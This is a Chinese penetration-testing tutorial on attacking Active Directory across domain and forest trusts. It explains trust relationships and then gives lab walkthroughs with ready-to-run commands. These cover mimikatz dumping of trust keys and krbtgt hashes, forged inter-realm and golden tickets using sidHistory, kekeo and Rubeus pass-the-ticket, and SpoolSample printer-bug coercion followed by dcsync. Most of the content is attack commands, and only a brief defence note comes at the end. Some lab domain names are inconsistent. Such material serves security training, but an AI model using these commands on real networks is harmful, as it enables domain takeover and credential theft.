很多大型企业都拥有自己的内网,一般通过域林进行共享资源。根握不同职能区分的部门,从逻辑上以主域和子域进行划分,方便统一管理。在物理层,通常使用防火墙将各个子公司及各个部门划分为不同的区域。攻击者如果得到了某个子公司或者某个部门的域控制器权限,但没有得到整个公司的内网全部权限,往往会想办法获取其他部门或者域的权限。
》》》跨域攻击方法《《《
- WEB漏洞:跨域获取权限
- PTH/PTT:DC本地管理员密码可能相同
- 域信任关系:.......
》》》跨域攻击--域信任关系《《《
域信任的作用:解决多域环境中的跨域资源共享问题。
域环境不会无条件地接收来自其他域的凭证,只会接收来自受信任的域的凭证。在默认情况下,特定 Windows域中的所有用户都可以通过该域中的资源进行身份验证。通过这种方式,域可以为其用户提供对该域中所有资源的安全访问机制。如果用户想要访问边界以外的资源,需要使用域信任。
域信任作为域的一种机制,允许另一个域的用户在通过身份验证后访问本域中的资源。同时,域信任利用 DNS 服务器定位两个不同子域的域控制器,如果两个域中的域控制器都无法找到另一个域,也就不存在通过域信任关系讲行跨域资源共享了。
》》》域信任关系简介《《《
- 域信任关系分为单向信任和双向信任两种。
单向信任是指在两个域少间创建的向的信任路径,即在一个方向上是访问流。在受信任城和信任域之间的单向信任中,受信任域内的用户(或者计算机)可以访问信任域内的资源,但信任域内的用户无法访问受信任域内的资源。也就是说,若A域信任B域,那么B域内受信任的主体可以访问A域内信任B域的资源。
双向信任是指两个单向信任的组合,信任域和受信任域彼此信任,在两个方向上都有信任流和访问流。这意味着,可以从两个方向在两个域之间传递身份验证请求。活动目录中的所有域信任关系都是双向传递的。在创建子域时,会在新的子域和父域之间自动创建双向可传递信任关系,从下级域发出的身份验证请求可以通过其父域向上流向信任域。
- 信任关系可以分为内部信任和外部信任两种。
在默认情况下,伸用活动目录安装向导将新域添加到域树或林根域中,会自动创建双向可传递信任。在现有林中创建域树时,将建立新的树根信任,当前域树中的两个或多个域之间的信任关系被称为内部信任。这种信任关系是可传递的。例如,有三个子域BA,CA,DA,BA域信任CA域,CA域信任DA域,则BA域也信任DA域。
外部信任是指两个不同林中的域的信任关系。外部信任是不可传递的,而且是单向的。从Windows server 2003域信任关系变为双向的,且可以通过信任关系进行传递。在Windows操作系统中,只有Domain Admins组中的用户管理域信任关系。
一:跨域攻击--信息收集
在域中,Enterprise Admins
组(仅出现在林的根域中)的成员具有对目录林中所有域的完全控制权限。在默认情况下,该组包含林中所有域控制器上具有 Administrators
权限的成员。
在这里要使用LG.exe工具。LG.exe
是一款使用C++编写的用于管理本地用户组和域本地用户组的命令行工具。在渗透测试中使用该工具,可以枚举远程主机用户和组的信息。
1 whoami /all 查看lab域内计算机的当前权限
2 LG.exe lab\. 枚举lab域中的用户组
3 LG.exe \\dc 枚举远程机器的本地组用户
4 两域存在域信任关系,且当前权限被另一个域信任
LG.exe \\dc -lu
5 lg \\dc -lu -sidsout 获取远程系统中全部用户的SID
6 lg \\dc\administrators -sidsout 获取指定组中的SID
二:跨域攻击--域树环境
操作系统 | 安装角色 | 域名 | 备注信息 |
Wins2012R2 | AD DC | warsec.com | 尽量是Wins08R2 |
Wins2012R2 | AD DC | subdc.warsec.com | 坚持是Wins12R2 |
Win10 | Client | win102.subdc.warsec.com\win102 | 子域内主机 |
实验一:利用域信任密钥获取目标域权限
步骤一:使用mimikatz在域控制器中导出并伪造信任密钥,使用kekeo请求访问目标域中目标服务的TGS票据。使用这两个工具,渗透测试人员便可以创建sidHistory 的票据,对目标域进行安全测试。在sub.warsec.com中使用mimikatz获取需要的信息,命令如下:
mimikatz.exe privilege::debug "lsadump::lsa /patch /user:test" "lsadump::trust /patch" exit
步骤二:获取信息后,在域内计算机( pc.us.pentest.test.com )中使用普通域用户权限( sub\test )执行即可。使用mimikatz创建信任票据:
1 mimikatz "Kerberos::golden /domain:sub.warsec.com /sid:S-1-5-21-1516226525-512444941-3477693503 /sids:S-1-5-21-2236720874-3430260630-3072917007 /rc4:e7956af622ce3c71fb3dd0fb8b9624c2 /user:administrator /service:krbtgt /target:warsec.com /ticket:warsec.kiribi" exit
domain 参数用于指定当前域名; sid 参数用于指定当前域的SID; sids 参数用于指定目标域的SID;rc4 参数用于指定信任密钥; user 参数用于指定伪造的用户名; service 参数用于指定要访问的服务; target 参数用于指定目标域名; ticket 参数用于指定保存票据的文件名。需要注意的是,第一次访问域控制器时的提示文字重复是由mimikatz执行时的输出异常造成的。
步骤三:利用刚刚创建的名为warsec.kiribi的信任票据获取域中目标服务的TGS并保存到文件中
1 Asktgs warsec.kiribi CIFS/warsec.com
步骤四:将获取的TGS票据注入内存.....并访问目标共享服务....
1 Kirbikator lsa CIFS.dc.warsec.com.kirbi
2 klist
3 dir \\192.168.1.1\c$
实验二:利用Krbtgt散列值获取目标域的权限
使用mimikaz可以在构建黄金票据时设置sidHistory。因此,如果攻击者获取了林内任意域的krbtgt散列值,就可以利用sidHistory获得该林的完整权限。下面我们就来分析这一过程。首先,使用PowerView在域内计算机( win102.sub.warsec.com )中使用普通城用户( sub\test )权限获取当前域和目标域的SID。获取域用户SID的常用命令有"wmic useraccount get name,sid
" "whoami/user
" "adfind.exe -sc u:test|findstr sid
" "powerview
"。
步骤一:确定目标域的SID与当前域的SID值
1 子域SID:S-1-5-21-1516226525-512444941-3477693503
2 父域SID:S-1-5-21-2236720874-3430260630-3072917007
步骤二:在父域控制器上使用mimikatz获取krbtgt 散列值
1 mimikatz.exe "privilege::debug" "lsadump::lsa /patch /user:krbtgt" "sekurlsa::krbtgt" exit > tmp.txt
步骤三:在子域内的计算机上使用普通用户权限(sub\test)构造并注入黄金票据,获取目标域的权限....并验证....
1 mimikatz "Kerberos::golden /user:administrator /domain:sub.warsec.com /sid:S-1-5-21-1516226525-512444941-3477693503 /sids:S-1-5-21-2236720874-3430260630-3072917007 /krbtgt:f0b0c5c3295c6f7399a266cd98e2dff1 /ptt" exit
三:跨域攻击--域林环境
》》》实验环境《《《
操作系统 | 角色 | 域环境 | IP地址 | 备注 |
Wins2012R2 | DC | zero.com | 192.168.10.1 | 系统镜像文件为数据中心版 Build 9600 |
Wins2012R2 | DC | one.com | 192.168.10.2 | 系统镜像文件为数据中心版 Build 9600 |
在new.com域控制器上执行以下命令,查看外部信任环境的信任关系:
1 nltest /domain_trusts
- 利用信任关系获取信任域的信息
因为外部信任和林信任中存在SID过滤机制,所以无法利用SID History获取权限。使用adfind 工具获取信任域的完整信息。下面以获取Administrator用户的详细信息....
1 输入如下命令,导出全部用户的信息
2 adfind -h bdc1.b.com -sc u:Administrator
3 通过对比目标域和当前域的用户列表,找出同时加入这两个域的用户。
2.使用PowerView定位敏感用户
1 执行如下命令,列出目标域用户组中的外部用户
2 ..\PowerView.ps1
3 Get-DomainForeignGroupMember -Domain B.com
实验三:利用无约束委派和MS-RPRN获取信任林权限
如果攻击者已经获取了域林中某个域权限,就可以使用MS RPRN
的RpcRemoteFindPrinterChangeNotification(Ex)
方法,使信任林的城=域控制器向已被控制的服务器发送身份认证请求,利用捕获的凭据获取信任林内任意用户的散列值。
步骤一:在bdc.one.com输人下列命令使用rubeus工具进行监控身份认证请求。interval用于设置监控的时间间隔,filteruser指定需要关注的用户这里adc$则为我们zero.com的域控主机名称....
1 Rubeus.exe monitor /intreval:5 /filteruser:adc$
步骤二:开启监听后,在命令行环境中执行如下命令,使用SpoolSample工具让目标域控制器adc.warsec.com
向bdc.one.com
发送身份认证请求.....
1 SpoolSample.exe adc.zero.com bdc.one.com
步骤三:Rubeus 会捕捉来自adc.zero.com的认证请求,保存其中的TGT数据。并清除TGT数据文件中多余的换行符使用Rubeus将票据注入
1 Rubeus.exe ptt /ticket:<TGT数据>
步骤四:使用mimikatz获取目标域的krbtgt散列值。使用mimikatz的dcsync模拟域控制器向目标域控制器发送请求(获取账号密码)....
1 mimikatz.exe "lsadump::dcsync /domain:zero.com /user:zero\krbtgt" exit
步骤五:构造黄金票据将其注入内存,获取目标域控制器的权限....
1 mimikatz.exe "Kerberos::golden /user:Administrator /domain:B.com /sid: /rc4: /ptt" exit
步骤六:测试访问目标服务....
四:跨域防御--扯扯淡....
内网中的Web应用比公网中的Web应用更脆弱。放置在公网中的Web应用服务器住往会配置WAF等设备,还会有专业的维护人员定期进行安全检测。放置在内网中的Web应用服务器
大多为内部办公使用(或者作为测试服务器使用),所以,其安全性受重视程度较低,往往会使用弱口令或者存在未及时修复的补丁。
攻击者在获取当前域的域控制器的权限后,会检查城控制器的本地管理员密码是否与其他的域控制器本地管理员密码相同,以及在两个域之间的网络没有被隔离的情况下是否可以通过哈希传递进行横向攻击等。在很多公司中,虽然为不同的部门划分了不同的域,但域管理员可能是同一批人,因此可能出现域管理员的用户名和密码相同的情况。在日常网络维护中,需要养成良好的安全习惯,才能有效地防范跨域攻击。